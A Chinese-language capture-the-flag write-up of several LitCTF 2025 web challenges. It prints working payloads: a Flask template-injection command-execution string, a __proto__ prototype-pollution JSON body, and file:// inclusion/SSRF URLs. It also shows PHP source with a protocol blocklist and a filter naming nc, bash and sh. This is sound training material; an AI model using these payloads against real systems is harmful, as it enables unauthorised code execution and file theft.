LitCTF 2025 Web 详解
LitCTF 2025 Web
这个比赛结束好久了,今天简单复盘一下几道Web题
混了个优秀奖,还行,主要就是见好题呢
nest_js
弱口令admin/password,登录进去就给flag
ez_file
登录页面源码提示用file协议查看,存在文件包含利用点
弱密码admin/password直接登录成功
既然存在文件包含漏洞,后缀改为jpg即可
看来对文件内容进行检测了,一般是检测 <?
或者 php
可以试着js或短标签绕过
短标签绕过成功
使用file进行包含利用即可
星愿信箱
直接就是一个输入框,类似经典ssti的复读机
使用插件看出是flask框架,应该是python的ssti
进行测试,发现{{}}似乎被ban了
使用{%%}绕过
使用hackbar中flask的payload直接直接利用即可
{"cmd":"给我{%print(g.pop.__globals__.__builtins__['__import__']('os').popen('tac /f*').read())%}"}
多重宇宙日记
注册后登录进去
可以通过json
来更新设置,存在利用点,接着对JS
源码进行分析
首先看表单提交处理部分
,仅处理预设字段,结构固定,不能进行利用,但是提供了isAdmin这个管理员标识属性
// 监听表单提交事件
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const settingsPayload = {};
// 收集表单中的theme和language字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// 发送POST请求到更新接口
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ settings: settingsPayload }) // 数据包裹在settings键下
});
// 成功后刷新页面(关键注释)
if (response.ok) {
setTimeout(() => window.location.reload(), 1000); // 若isAdmin改变则更新导航栏
}
});
接下来看原始 JSON 提交处理
,允许自定义任意 JSON 结构,包括嵌套的__proto__
字段
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const parsedJson = JSON.parse(rawJson); // 解析用户输入的JSON
// 直接发送用户输入的JSON数据到同一接口
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(parsedJson) // 无格式限制,完全由用户控制
});
// 同样在成功后刷新页面
if (response.ok) {
setTimeout(() => window.location.reload(), 1000); // 关联isAdmin状态更新
}
}
通过/api/profile/update
接口进行__proto__
注入:通过该字段将isAdmin: true
写入对象原型,实现全局污染。
添加嵌套的__proto__
字段进行原型链污染
{"settings":{"theme":"123","language":"123","__proto__": {"isAdmin": true}}}
更新后出现管理员面板,点击即可获得flag
easy_signin
初始页面为403,目录扫描获取两个路径
一个是状态响应一个是登录页面
在api.js中有一个路由,推测该接口可能存在文件读取或远程请求功能
/api/sys/urlcode.php?url=php://filter/convert.base64-encode/resource=api/sys/urlcode.php
直接读取当然不行,使用php:// 协议读取被禁了
拼接路径,使用file协议读取源码
api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
<?php
error_reporting(0);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_REQUEST['url'];
if($url){
$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
$protocol_block = false;
foreach ($forbidden_protocols as $proto) {
if (strpos($url, $proto) === 0) {
$protocol_block = true;
break;
}
}
$log_block = strpos($url, '.log') !== false;
if ($protocol_block) {
echo "禁止访问:不允许使用 {$proto} 协议";
} elseif ($log_block) {
echo "禁止访问:URL 包含 .log";
} elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
echo "看不见哦";
} else {
echo "<b>".$url." 的快照如下:</b><br><br>";
echo "<pre>";
curl($url);
include($url);
echo "</pre>";
}
}
?>
尝试读取限制的文件,一直改路径都没成功,直接访问,获取flag
还有些大佬是登录进去获取了一个路由,进行SSRF读取flag的
登录后路由给出路由backup/8e0132966053d4bf8b2dbe4ede25502b.php
同样拼接进行读取
view-source:http://node6.anna.nssctf.cn:21528/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);
$name="waf";
$name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}
if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}
exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}
?>
仅限本地访问(REMOTE_ADDR == 127.0.0.1
),只能通过SSRF绕过
由于urlcode.php
可发起本地请求(通过curl
和include
),结合其未过滤http://
协议的特性,构造 SSRF payload 进行RCE
查找flag,二次url编码后读取上一个目录找到一个php文件
注:对目标路径进行二次 URL 编码,避免特殊字符被拦截
同样,只有访问才能看见,不能进行读取